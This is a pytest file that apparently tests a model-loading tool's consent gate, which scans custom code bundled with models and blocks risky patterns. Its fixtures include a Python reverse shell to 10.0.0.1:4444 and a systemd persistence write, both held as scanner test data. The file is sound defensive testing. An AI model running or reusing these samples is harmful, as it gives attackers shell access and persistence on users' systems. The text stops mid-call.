Local UI to run and train LLMs and diffusion models. Supports GGUF, MLX, Qwen3.8, DeepSeek-V4.1, MiniMax-H3, Gemma 4, FLUX and more.
Python agentaichatgptdeepseekfine-tuninggemmaimage-generationllamallmllmsopenaipythonqwenreinforcement-learningself-hostedstable-diffusiontext-to-speechttsuiunsloth
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""The consent gate refuses CRITICAL/HIGH auto_map code unless this exact version is pinned."""
import importlib.util
import json
import os
import sys
from pathlib import Path
from types import SimpleNamespace
from unittest.mock import MagicMock, patch
import pytest
import utils.security.consent as consent
from utils.security import (
RemoteCodeDecision,
evaluate_remote_code_consent,
evaluate_remote_code_consent_for_targets,
is_trusted_org_repo,
remote_code_fingerprint,
remote_code_config_paths,
scan_remote_code_files,
should_block_remote_code,
)
from huggingface_hub.utils import EntryNotFoundError
from utils.security.remote_code_scan import (
CRITICAL,
HIGH,
REMOTE_CODE_CONFIG_FILES,
RemoteCodeUnscannable,
repo_remote_code_files,
)
from utils.security.trusted_org import clear_cache
_BACKEND = Path(__file__).resolve().parent.parent
def _load_models_route(monkeypatch):
path = _BACKEND / "routes" / "models.py"
spec = importlib.util.spec_from_file_location("consent_models_route", path)
module = importlib.util.module_from_spec(spec)
assert spec.loader is not None
monkeypatch.setitem(sys.modules, spec.name, module)
spec.loader.exec_module(module)
return module
@pytest.fixture(autouse = True)
def _clean_trusted_org_cache(monkeypatch):
"""Clear the trusted-org cache and force online mode for the Hub-verify path."""
clear_cache()
monkeypatch.delenv("HF_HUB_OFFLINE", raising = False)
monkeypatch.delenv("TRANSFORMERS_OFFLINE", raising = False)
yield
clear_cache()
_HIGH = {
"modeling_persist.py": (
"open('/etc/systemd/system/x.service', 'w').write('[Service]\\nExecStart=sh')\n"
)
}
_CRITICAL = {
"modeling_backdoor.py": (
"import socket, subprocess, os\n"
"s = socket.socket(); s.connect(('10.0.0.1', 4444))\n"
"os.dup2(s.fileno(), 0); subprocess.call(['/bin/sh', '-i'])\n"
)
}
_BENIGN = {
"modeling_ok.py": (
"import torch\n"
"class MyModel(torch.nn.Module):\n"
" def forward(self, x):\n"
" return x + 1\n"
)
}
def _with_auto_map(files):
"""Patch the gate so auto_map is present and the given files are returned."""
return (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = files),
)
class TestConsentGate:
def test_disabled_is_a_noop(self):
d = evaluate_remote_code_consent("unsloth/X", trust_remote_code = False)
assert isinstance(d, RemoteCodeDecision)
assert d.has_remote_code is False and d.blocked is False
def test_no_auto_map_is_noop(self):
with patch.object(consent, "_config_has_auto_map", return_value = False):
d = evaluate_remote_code_consent("unsloth/Plain", trust_remote_code = True)
assert d.has_remote_code is False
assert d.blocked is False
assert "no-op" in d.reason
def test_load_subdirectory_auto_map_is_scanned(self, tmp_path):
model = tmp_path / "model"
llm = model / "LLM"
llm.mkdir(parents = True)
(llm / "config.json").write_text(
'{"auto_map":{"AutoModel":"modeling_evil.Model"}}',
encoding = "utf-8",
)
(llm / "modeling_evil.py").write_text(
"import subprocess\nsubprocess.Popen(['id'])\n",
encoding = "utf-8",
)
decision = evaluate_remote_code_consent_for_targets(
[str(model)],
trust_remote_code = True,
load_subdirs_by_target = {str(model): ("LLM",)},
)
assert decision.has_remote_code is True
assert decision.blocked is True
assert decision.max_severity == HIGH
assert decision.fingerprint
def test_linked_load_subdirectory_fails_closed(self, tmp_path):
model = tmp_path / "model"
linked_llm = tmp_path / "linked-llm"
model.mkdir()
linked_llm.mkdir()
(linked_llm / "config.json").write_text(
'{"auto_map":{"AutoModel":"modeling_evil.Model"}}',
encoding = "utf-8",
)
(linked_llm / "modeling_evil.py").write_text("VALUE = 1\n", encoding = "utf-8")
try:
(model / "LLM").symlink_to(linked_llm, target_is_directory = True)
except OSError as error:
pytest.skip(f"directory symlinks are unavailable: {error}")
decision = evaluate_remote_code_consent_for_targets(
[str(model)],
trust_remote_code = True,
load_subdirs_by_target = {str(model): ("LLM",)},
)
assert decision.has_remote_code is True
assert decision.blocked is True
assert decision.approvable is False
assert "could not be downloaded and scanned" in decision.findings_summary
@pytest.mark.parametrize(
"subdir",
[
"../outside",
"/outside",
"C:/outside",
"C:outside",
"LLM/C:outside",
r"nested\\outside",
],
)
def test_remote_code_config_paths_reject_escaping_subdirectories(self, subdir):
with pytest.raises(ValueError, match = "Invalid remote-code load subdirectory"):
remote_code_config_paths((subdir,))
def test_unknown_auto_map_is_scanned_not_skipped(self):
# Unreadable config is 'unknown', not 'no code': scan, not no-op.
with (
patch.object(consent, "_config_has_auto_map", return_value = None),
patch.object(consent, "repo_remote_code_files", return_value = _HIGH),
):
d = evaluate_remote_code_consent(
"private/evil", trust_remote_code = True, trusted_org = False
)
assert d.has_remote_code is True
assert d.blocked is True
assert "no-op" not in d.reason
def test_benign_remote_code_allowed(self):
a, b = _with_auto_map(_BENIGN)
with a, b:
d = evaluate_remote_code_consent("unsloth/Good", trust_remote_code = True)
assert d.has_remote_code is True
assert d.blocked is False
assert d.fingerprint
def test_high_third_party_blocked(self):
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is True
assert d.max_severity == "HIGH"
assert d.fingerprint
p = d.response_payload()
assert p["error_kind"] == "remote_code_consent_required"
assert p["approvable"] is True
assert p["fingerprint"] == d.fingerprint
assert isinstance(p["findings"], list) and p["findings"]
f0 = p["findings"][0]
assert {"severity", "file", "check"} <= set(f0)
def test_high_first_party_requires_approval(self):
# First-party is not a blanket bypass: HIGH still needs per-version approval.
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"unsloth/DeepSeek-OCR", trust_remote_code = True, trusted_org = True
)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is True
assert d.max_severity == "HIGH"
assert d.fingerprint
assert "approval required" in d.reason
def test_bare_subprocess_blocked_third_party(self):
files = {
"configuration.py": (
"import subprocess\n"
"class RemoteConfig:\n"
" def __init__(self):\n"
" subprocess.Popen(['xcalc'])\n"
)
}
a, b = _with_auto_map(files)
with a, b:
d = evaluate_remote_code_consent(
"third-party/custom-model", trust_remote_code = True, trusted_org = False
)
assert d.blocked is True
assert d.max_severity == "HIGH"
assert "subprocess" in d.findings_summary.lower()
def test_critical_blocked_even_first_party(self):
a, b = _with_auto_map(_CRITICAL)
with a, b:
d = evaluate_remote_code_consent(
"unsloth/Compromised", trust_remote_code = True, trusted_org = True
)
assert d.blocked is True
assert d.approvable is False
assert d.max_severity == "CRITICAL"
p = d.response_payload()
assert p["error_kind"] == "remote_code_blocked"
assert p["approvable"] is False
def test_approved_fingerprint_unblocks(self):
a, b = _with_auto_map(_HIGH)
with a, b:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
def test_approved_fingerprint_does_not_unblock_critical(self):
a, b = _with_auto_map(_CRITICAL)
with a, b:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True and d1.approvable is False
assert d2.blocked is True and d2.approvable is False
assert d2.reason == "blocked: scan found CRITICAL patterns"
def test_wrong_fingerprint_still_blocked(self):
a, b = _with_auto_map(_HIGH)
with a, b:
d = evaluate_remote_code_consent(
"evil/Model",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = "deadbeef",
)
assert d.blocked is True
def test_combined_targets_one_fingerprint_approves_adapter_and_base(self):
adapter_files = {"tokenization_adapter.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
base_files = {"modeling_base.py": "import subprocess\nsubprocess.Popen(['id'])\n"}
def _files(name, hf_token = None):
return adapter_files if name == "org/adapter" else base_files
targets = ["org/adapter", "org/base"]
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", side_effect = _files),
):
d1 = evaluate_remote_code_consent_for_targets(targets, trust_remote_code = True)
d2 = evaluate_remote_code_consent_for_targets(
targets, trust_remote_code = True, approved_fingerprint = d1.fingerprint
)
base_only = evaluate_remote_code_consent_for_targets(
["org/base"], trust_remote_code = True
)
assert d1.blocked is True
assert d1.max_severity == "HIGH"
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
assert base_only.fingerprint != d1.fingerprint
def test_fingerprint_is_casing_invariant_for_hub_repos(self):
# The fingerprint pins code bytes, not repo-id spelling; workers pass raw casing.
a, b = _with_auto_map(_HIGH)
with a, b:
d1 = evaluate_remote_code_consent_for_targets(["Org/Model"], trust_remote_code = True)
d2 = evaluate_remote_code_consent_for_targets(["org/model"], trust_remote_code = True)
assert d1.fingerprint == d2.fingerprint
a, b = _with_auto_map(_HIGH)
with a, b:
d3 = evaluate_remote_code_consent_for_targets(
["ORG/model"], trust_remote_code = True, approved_fingerprint = d1.fingerprint
)
assert d3.blocked is False
assert d3.reason == "approved by fingerprint"
def test_fingerprint_target_key_canonicalizes_local_aliases(self, monkeypatch, tmp_path):
from utils.security.consent import _fingerprint_target_key
model = tmp_path / "models" / "Foo"
model.mkdir(parents = True)
alias = tmp_path / "model-alias"
try:
alias.symlink_to(model, target_is_directory = True)
except OSError:
pytest.skip("Symlinks are unavailable on this host")
monkeypatch.chdir(tmp_path)
monkeypatch.setenv("HOME", str(tmp_path))
monkeypatch.setenv("USERPROFILE", str(tmp_path))
expected = os.path.normcase(str(model.resolve()))
assert _fingerprint_target_key("./models/Foo") == expected
assert _fingerprint_target_key("~/models/Foo") == expected
assert _fingerprint_target_key(str(alias)) == expected
assert _fingerprint_target_key("Org/Model") == "org/model"
def test_fingerprint_target_key_normalizes_wsl_drive_path(self, monkeypatch, tmp_path):
from utils.security.consent import _fingerprint_target_key
model = tmp_path / "models" / "Foo"
model.mkdir(parents = True)
windows_path = r"C:\models\Foo"
monkeypatch.setattr(
"utils.paths.normalize_path",
lambda value: str(model) if value == windows_path else value,
)
assert _fingerprint_target_key(windows_path) == os.path.normcase(str(model.resolve()))
def test_local_path_alias_approval_matches_authoritative_target(self, tmp_path):
model = tmp_path / "model"
model.mkdir()
alias = tmp_path / "model-alias"
try:
alias.symlink_to(model, target_is_directory = True)
except OSError:
pytest.skip("Symlinks are unavailable on this host")
a, b = _with_auto_map(_HIGH)
with a, b:
preflight = evaluate_remote_code_consent_for_targets(
[str(alias)], trust_remote_code = True
)
authoritative = evaluate_remote_code_consent_for_targets(
[str(model.resolve())],
trust_remote_code = True,
approved_fingerprint = preflight.fingerprint,
)
assert preflight.fingerprint == authoritative.fingerprint
assert authoritative.blocked is False
assert authoritative.reason == "approved by fingerprint"
def test_unscannable_target_fails_closed_for_whole_load(self):
def _raise_for_base(name, hf_token = None):
if name == "org/base":
raise RemoteCodeUnscannable("gated")
return {"modeling_adapter.py": "import torch\n"}
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", side_effect = _raise_for_base),
):
d = evaluate_remote_code_consent_for_targets(
["org/adapter", "org/base"], trust_remote_code = True
)
assert d.blocked is True
assert d.approvable is False
def test_managed_account_is_refused_before_the_scan(self, monkeypatch):
from utils.account_context import AccountContext, run_as
monkeypatch.delenv(consent.MANAGED_REMOTE_CODE_OVERRIDE, raising = False)
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(
consent, "repo_remote_code_files", return_value = {"m.py": "import torch\n"}
),
patch.object(consent, "scan_remote_code_files") as scan,
):
d = run_as(
AccountContext("b" * 32, "bob"),
evaluate_remote_code_consent_for_targets,
["org/model"],
trust_remote_code = True,
approved_fingerprint = "anything",
)
assert d.blocked is True and d.approvable is False
assert d.reason == consent.MANAGED_REMOTE_CODE_REFUSAL
scan.assert_not_called()
def test_medium_severity_blocks_pending_approval(self):
# MEDIUM is approvable but blocks until pinned: trust_remote_code=True alone cannot run it
from utils.security.remote_code_scan import MEDIUM
class _MediumResult:
max_severity = MEDIUM
def summary(self):
return "MEDIUM: large-base64-blob"
def findings_payload(self):
return [{"severity": "MEDIUM", "file": "modeling.py", "check": "large-base64-blob"}]
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = {"m.py": "BLOB = 1\n"}),
patch.object(consent, "scan_remote_code_files", return_value = _MediumResult()),
):
d1 = evaluate_remote_code_consent(
"third/medium", trust_remote_code = True, trusted_org = False
)
d2 = evaluate_remote_code_consent(
"third/medium",
trust_remote_code = True,
trusted_org = False,
approved_fingerprint = d1.fingerprint,
)
assert d1.blocked is True
assert d1.approvable is True
assert d1.max_severity == "MEDIUM"
assert d1.fingerprint
assert "MEDIUM" in d1.reason
assert d2.blocked is False
assert d2.reason == "approved by fingerprint"
def test_fingerprint_changes_when_code_changes(self):
((fn, body),) = _HIGH.items()
a1, b1 = _with_auto_map(_HIGH)
with a1, b1:
d1 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
tampered = {fn: body + "\n# changed\n"}
a2, b2 = _with_auto_map(tampered)
with a2, b2:
d2 = evaluate_remote_code_consent(
"evil/Model", trust_remote_code = True, trusted_org = False
)
assert d1.fingerprint != d2.fingerprint
@staticmethod
def _gate_with_unreachable_repo(
config_state = None,
probe_error = None,
snapshot = None,
):
real_config, real_files = consent._config_has_auto_map, consent.repo_remote_code_files
def files(name, **kwargs):
if name == "x/y":
raise RemoteCodeUnscannable("404")
return real_files(name, **kwargs)
with (
patch.object(
consent,
"_config_has_auto_map",
side_effect = lambda n, *a, **k: config_state
if n == "x/y"
else real_config(n, *a, **k),
),
patch.object(consent, "repo_remote_code_files", side_effect = files),
patch("huggingface_hub.HfApi.model_info", side_effect = probe_error or OSError("down")),
patch("utils.utils.hf_cache_snapshot_dir_for_repo", return_value = snapshot),
):
return evaluate_remote_code_consent("x/y", trust_remote_code = True)
@staticmethod
def _repo_not_found():
from huggingface_hub.errors import RepositoryNotFoundError
response = SimpleNamespace(status_code = 404, headers = {}, url = "u", request = None)
return RepositoryNotFoundError("404", response = response)
def test_repo_missing_from_source_is_blocked_without_claiming_code(self, monkeypatch):
monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", "modelscope")
d = self._gate_with_unreachable_repo(probe_error = self._repo_not_found())
assert d.has_remote_code is False
assert d.blocked is True and d.approvable is False
assert d.block_cause == "not_on_source"
assert "not on ModelScope" in d.blocked_message()
assert "flagged" not in d.blocked_message()
@pytest.mark.parametrize(
("source", "has_code", "expected"),
[
("modelscope", False, (False, False, None)),
("modelscope", True, (True, True, "critical_findings")),
("huggingface", False, (False, True, "not_on_source")),
],
)
def test_repo_missing_from_source_judges_the_cached_snapshot(
self, monkeypatch, tmp_path, source, has_code, expected
):
config = {"auto_map": {"AutoModel": "modeling_backdoor.M"}} if has_code else {}
(tmp_path / "config.json").write_text(json.dumps(config), encoding = "utf-8")
if has_code:
(tmp_path / "modeling_backdoor.py").write_text(
_CRITICAL["modeling_backdoor.py"], encoding = "utf-8"
)
monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", source)
d = self._gate_with_unreachable_repo(probe_error = self._repo_not_found(), snapshot = tmp_path)
assert (d.has_remote_code, d.blocked, d.block_cause) == expected
def test_declared_code_stays_code_even_when_the_repo_answers_404(self):
d = self._gate_with_unreachable_repo(True, self._repo_not_found())
assert d.has_remote_code is True and d.blocked is True
assert d.block_cause == "unscannable"
assert "present" in d.findings_summary
def test_unreadable_repo_does_not_claim_declared_code(self):
d = self._gate_with_unreachable_repo()
assert d.has_remote_code is True and d.blocked is True and d.approvable is False
assert d.block_cause == "unscannable"
assert "present" not in d.findings_summary
assert "flagged" not in d.blocked_message()
def test_block_cause_and_message_follow_the_scan(self):
a, b = _with_auto_map(_CRITICAL)
with a, b:
d = evaluate_remote_code_consent("x/y", trust_remote_code = True)
assert d.max_severity == "CRITICAL" and d.block_cause == "critical_findings"
assert d.blocked_message("Checkpoint").startswith("Checkpoint 'x/y' ships custom code")
def test_managed_refusal_says_so_rather_than_flagged(self):
a, b = _with_auto_map({"a.py": "x = 1\n"})
with a, b, patch.object(consent, "managed_remote_code_refused", return_value = True):
d = evaluate_remote_code_consent("x/y", trust_remote_code = True)
assert d.block_cause == "managed_refused"
assert d.blocked_message() == consent.MANAGED_REMOTE_CODE_REFUSAL
def test_scan_route_reports_the_cause_and_keeps_the_dialog_open(self, monkeypatch):
import asyncio
models_route = _load_models_route(monkeypatch)
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as remote_code_scan
monkeypatch.setenv("UNSLOTH_STUDIO_HUB_SOURCE", "modelscope")
monkeypatch.setattr(models_route, "is_local_path", lambda _v: False)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda v: v)
monkeypatch.setattr(models_route, "cached_read_refused", lambda *_a, **_k: False)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_a: False)
monkeypatch.setattr(models_route, "anonymous_and_offline", lambda *_a, **_k: False)
monkeypatch.setattr(
model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: None
)
monkeypatch.setattr(remote_code_scan, "external_auto_map_repos", lambda *_a, **_k: set())
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a: ())
def scan(has_code, severity, code_cause, file_cause):
rc = consent.RemoteCodeDecision(
"x/y",
has_code,
bool(code_cause),
None,
severity,
"",
"r",
approvable = not code_cause,
block_cause = code_cause,
)
files = security.FileSecurityDecision("x/y", bool(file_cause), block_cause = file_cause)
monkeypatch.setattr(
security, "preflight_remote_code_consent_for_targets", lambda *_a, **_k: rc
)
monkeypatch.setattr(security, "evaluate_file_security", lambda *_a, **_k: files)
return asyncio.run(
models_route.scan_model_remote_code(
model_name = "x/y", hf_token = None, current_subject = "tester"
)
)
payload = scan(False, None, "not_on_source", None)
assert payload["requires_trust_remote_code"] is True and payload["approvable"] is False
assert payload["block_cause"] == "not_on_source"
assert payload["block_source"] == "ModelScope" and payload["block_target"] == "x/y"
payload = scan(True, "CRITICAL", "critical_findings", "not_on_source")
assert payload["block_cause"] == "critical_findings" and payload["block_target"] is None
payload = scan(False, None, None, "not_on_source")
assert payload["block_cause"] == "not_on_source"
payload = scan(False, None, None, None)
assert payload["block_cause"] is None and payload["requires_trust_remote_code"] is False
def test_unscannable_auto_map_blocked_fail_closed(self):
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(
consent,
"repo_remote_code_files",
side_effect = RemoteCodeUnscannable("gated"),
),
):
d = evaluate_remote_code_consent("unsloth/Gated", trust_remote_code = True)
assert d.has_remote_code is True
assert d.blocked is True
assert d.approvable is False
assert "could not be scanned" in d.reason
def test_auto_map_with_no_executable_code_is_a_noop(self):
with (
patch.object(consent, "_config_has_auto_map", return_value = True),
patch.object(consent, "repo_remote_code_files", return_value = {}),
):
d = evaluate_remote_code_consent(
"unsloth/Llama-3_1-Nemotron-Ultra-253B-v1-GGUF", trust_remote_code = True
)
assert d.blocked is False
assert d.has_remote_code is False
assert "no-op" in d.reason
class TestWorkersWireTheGate:
"""Each load worker must call the gate and emit a remote_code_blocked error."""
@pytest.mark.parametrize(
"rel",
[
"core/training/worker.py",
"core/inference/worker.py",
"core/export/worker.py",
],
)
def test_worker_invokes_gate(self, rel):
src = (Path(__file__).resolve().parent.parent / rel).read_text(encoding = "utf-8")
assert "evaluate_remote_code_consent" in src
assert "remote_code_blocked" in src
assert ".blocked" in src
def test_mlx_training_path_gates_before_load(self):
# The Apple-Silicon path returns before run_training_process's gate, so it must scan first.
src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
head = src[: src.index("FastMLXModel.from_pretrained(")]
assert "evaluate_remote_code_consent" in head
def test_lora_base_model_is_gated(self):
for rel in ("core/inference/worker.py", "core/export/worker.py"):
src = (_BACKEND / rel).read_text(encoding = "utf-8")
assert "evaluate_remote_code_consent" in src
assert "get_base_model_from_lora" in src or "mc.base_model" in src
def test_remote_lora_base_is_resolved_in_gate_paths(self):
for rel in (
"routes/inference.py",
"routes/models.py",
"core/training/worker.py",
"core/export/worker.py",
):
src = (_BACKEND / rel).read_text(encoding = "utf-8")
assert "get_base_model_from_lora_identifier" in src, rel
def test_cache_fallback_gates_the_hub_target(self):
src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
drops = [
index
for index in range(len(src))
if src.startswith("model_load_name = _drop_model_pin_for_fallback(", index)
]
assert len(drops) == 4, "expected one fallback per training path"
for index in drops:
tail = src[index:]
gate = tail.index("_model_load_security_error(")
reload = min(
tail.index(call)
for call in (
"FastMLXModel.from_pretrained(",
"FastSentenceTransformer.from_pretrained(",
"_pre_detect_training_model(",
"_reload_dataset_with_remote_model_tokenizer(",
)
if call in tail
)
assert gate < reload, "the fallback target must be scanned before it is loaded"
def test_embedding_training_path_gates_before_load(self):
src = (_BACKEND / "core/training/worker.py").read_text(encoding = "utf-8")
helper_start = src.index("def _model_load_security_error(")
helper_end = src.index("\ndef ", helper_start + 1)
helper = src[helper_start:helper_end]
start = src.index("def _run_embedding_training(")
end = src.index("FastSentenceTransformer.from_pretrained(", start)
region = src[start:end]
assert "_model_load_security_error(" in region
assert "evaluate_file_security" in helper
assert "evaluate_remote_code_consent_for_targets" in helper
class TestCanonicalScannerSource:
"""In-repo, the load-time scanner must be the canonical scripts/scan_packages.py (the CI scanner), not the fallback."""
def test_canonical_scanner_loads_in_repo(self):
from utils.security.remote_code_scan import _load_canonical_scanner
canon = _load_canonical_scanner()
assert canon is not None, "scripts/scan_packages.py must load in-repo"
assert hasattr(canon, "check_py_file")
def test_gate_uses_canonical_combination_heuristics(self):
# A reverse shell is CRITICAL only in the canonical scanner, proving the flat fallback is off.
from utils.security.remote_code_scan import scan_remote_code_files
r = scan_remote_code_files(_CRITICAL)
assert r.max_severity == "CRITICAL"
class TestStructuredFindingsForDialog:
"""The dialog needs structured findings + a fingerprint from the pre-check helper and scan route, with the approval threaded to workers."""
def test_findings_payload_shape(self):
from utils.security.remote_code_scan import scan_remote_code_files
payload = scan_remote_code_files(_HIGH).findings_payload()
assert payload
for f in payload:
assert {"severity", "file", "check", "evidence", "line", "snippet"} <= set(f)
def test_snippet_locates_line_and_highlights_match(self):
from utils.security.remote_code_scan import scan_remote_code_files
src = (
"import torch\n"
"\n"
"def build(expr):\n"
" fn = eval(expr)\n" # flagged
" return fn\n"
)
f = scan_remote_code_files({"modeling_x.py": src}).findings_payload()[0]
assert f["line"] == 4
rows = f["snippet"]
match = [r for r in rows if r["is_match"]]
assert len(match) == 1 and match[0]["number"] == 4
seg = match[0]["text"][match[0]["match_start"] : match[0]["match_end"]]
assert seg == "eval("
assert any(r["number"] == 3 for r in rows)
assert any(r["number"] == 5 for r in rows)
def test_preflight_surfaces_findings(self):
from utils.security import preflight_remote_code_consent
a, b = _with_auto_map(_HIGH)
with a, b:
d = preflight_remote_code_consent("evil/Model", trusted_org = False)
assert d.has_remote_code is True
assert d.findings and d.fingerprint
def test_scan_route_uses_preflight(self):
src = (Path(__file__).resolve().parent.parent / "routes/models.py").read_text(
encoding = "utf-8"
)
assert "remote-code-scan" in src
assert "preflight_remote_code_consent_for_targets" in src
def _run_scan_route(
self,
monkeypatch,
*,
adapter,
base,
in_cache,
seen_targets = None,
):
"""Call scan_model_remote_code with all network/cache deps stubbed; in_cache(repo)
decides whether a repo pre-existed in cache (so it is not reported scan-created)."""
import asyncio
import routes.models as models_route
import utils.models.model_config as model_config
import utils.security as security
monkeypatch.setattr(models_route, "is_local_path", lambda *_a, **_k: False)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda n, *a, **k: n)
monkeypatch.setattr(
model_config, "get_base_model_from_lora_identifier", lambda *_a, **_k: base
)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda n, *a, **k: in_cache(n))
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
lambda targets, **_k: (
seen_targets.extend(targets) if seen_targets is not None else None
)
or SimpleNamespace(
has_remote_code = False,
response_payload = lambda: {"has_remote_code": False, "approvable": True},
),
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_a, **_k: ())
monkeypatch.setattr(
security,
"evaluate_file_security",
lambda *_a, **_k: SimpleNamespace(blocked = False, unsafe_files = []),
)
return asyncio.run(
models_route.scan_model_remote_code(
model_name = adapter, hf_token = None, current_subject = "tester"
)
)
def test_scan_route_reports_all_scan_created_repos(self, monkeypatch):
"""A LoRA scan's created repos include the base, so a decline must purge all of them."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda _n: False
)
assert payload["scan_created_repos"] == [adapter, base]
assert payload["created_by_scan"] is True
def test_scan_route_omits_repo_already_cached(self, monkeypatch):
"""A base the user already had is not scan-created, so a decline purges only the new adapter."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == base
)
assert payload["scan_created_repos"] == [adapter]
assert payload["created_by_scan"] is True
def test_scan_route_primary_already_cached_clears_created_by_scan(self, monkeypatch):
"""When only the base is new, created_by_scan is False but the base is still purged via scan_created_repos."""
adapter, base = "someone/lora-adapter", "someone/base-model"
payload = self._run_scan_route(
monkeypatch, adapter = adapter, base = base, in_cache = lambda n: n == adapter
)
assert payload["scan_created_repos"] == [base]
assert payload["created_by_scan"] is False
def test_scan_route_fingerprint_includes_native_audio_companion(self, monkeypatch):
model = "multimodalart/higgs-audio-v3-tts-4b-transformers"
companion = "bosonai/higgs-audio-v2-tokenizer"
targets = []
self._run_scan_route(
monkeypatch,
adapter = model,
base = None,
in_cache = lambda _n: True,
seen_targets = targets,
)
assert targets == [model, companion]
def test_scan_route_rejects_oversized_audio_metadata_as_bad_request(
self, monkeypatch, tmp_path
):
import asyncio
from fastapi import HTTPException
import routes.models as models_route
import utils.security as security
(tmp_path / "config.json").write_text(
json.dumps({"model_type": "higgs_audio_v2"}), encoding = "utf-8"
)
(tmp_path / "processor_config.json").write_text(
json.dumps({"padding": "x" * 1_000_000}), encoding = "utf-8"
)
monkeypatch.setattr(models_route, "is_local_path", lambda *_args: True)
monkeypatch.setattr(security, "load_scan_target", lambda target, subdirs: (target, subdirs))
with pytest.raises(HTTPException) as exc_info:
asyncio.run(
models_route.scan_model_remote_code(
model_name = str(tmp_path),
hf_token = None,
current_subject = "tester",
)
)
assert exc_info.value.status_code == 400
assert "security inspection limit" in str(exc_info.value.detail)
def test_scan_route_uses_selected_cached_snapshot(self, monkeypatch, tmp_path):
import asyncio
import core.training.training as training_core
models_route = _load_models_route(monkeypatch)
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as remote_code_scan
model_name = "someone/cached-model"
local_path = r"C:\cache\models--someone--cached-model"
normalized_local_path = str(tmp_path / "models--someone--cached-model")
snapshot = str(tmp_path / "models--someone--cached-model" / "snapshots" / "old")
resolved = []
base_targets = []
preflight_targets = []
file_targets = []
def resolve_snapshot(name, path):
resolved.append((name, path))
return snapshot
def preflight(targets, **_kwargs):
preflight_targets.extend(targets)
return SimpleNamespace(
has_remote_code = True,
blocked = False,
reason = "approval required",
response_payload = lambda: {
"model_name": snapshot,
"has_remote_code": True,
"approvable": True,
},
)
def file_security(target, **_kwargs):
file_targets.append(target)
return SimpleNamespace(blocked = False, unsafe_files = [])
monkeypatch.setattr(
models_route,
"is_local_path",
lambda value: value == snapshot,
)
monkeypatch.setattr(
models_route,
"normalize_path",
lambda value: normalized_local_path if value == local_path else value,
)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda value: value)
monkeypatch.setattr(training_core, "_resolve_model_snapshot", resolve_snapshot)
monkeypatch.setattr(
model_config,
"get_base_model_from_lora_identifier",
lambda target, *_args, **_kwargs: base_targets.append(target) or "someone/base",
)
monkeypatch.setattr(models_route, "_repo_in_any_hf_cache", lambda *_args: True)
monkeypatch.setattr(
remote_code_scan, "external_auto_map_repos", lambda *_args, **_kwargs: set()
)
monkeypatch.setattr(
security,
"preflight_remote_code_consent_for_targets",
preflight,
)
monkeypatch.setattr(security, "security_load_subdirs", lambda *_args: ())
monkeypatch.setattr(security, "evaluate_file_security", file_security)
payload = asyncio.run(
models_route.scan_model_remote_code(
model_name = model_name,
hf_token = None,
prefer_local_cache = True,
model_local_path = local_path,
current_subject = "tester",
)
)
assert resolved == [(model_name, normalized_local_path)]
assert base_targets == [snapshot]
assert preflight_targets == [snapshot, "someone/base"]
assert file_targets == [snapshot, "someone/base"]
assert payload["model_name"] == model_name
assert payload["scan_created_repos"] == []
def test_scan_route_preserves_exact_snapshot_intent(self, monkeypatch):
import asyncio
models_route = _load_models_route(monkeypatch)
import utils.models.model_config as model_config
import utils.security as security
import utils.security.remote_code_scan as remote_code_scan
model_name = "selector/cached-model"
actual_model_repo_id = "publisher/actual-4bit"
snapshot = "/cache/models--publisher--actual-4bit/snapshots/exact"
inspection_calls = []
preflight_targets = []
monkeypatch.setattr(models_route, "is_local_path", lambda value: value == snapshot)
monkeypatch.setattr(models_route, "resolve_cached_repo_id_case", lambda value: value)
monkeypatch.setattr(
models_route,
"_model_config_inspection_target",
lambda name, prefer_local, path, hf_token = None: inspection_calls.append(
(name, prefer_local, path)
)
or snapshot,
)
monkeypatch.setattr(
model_config,
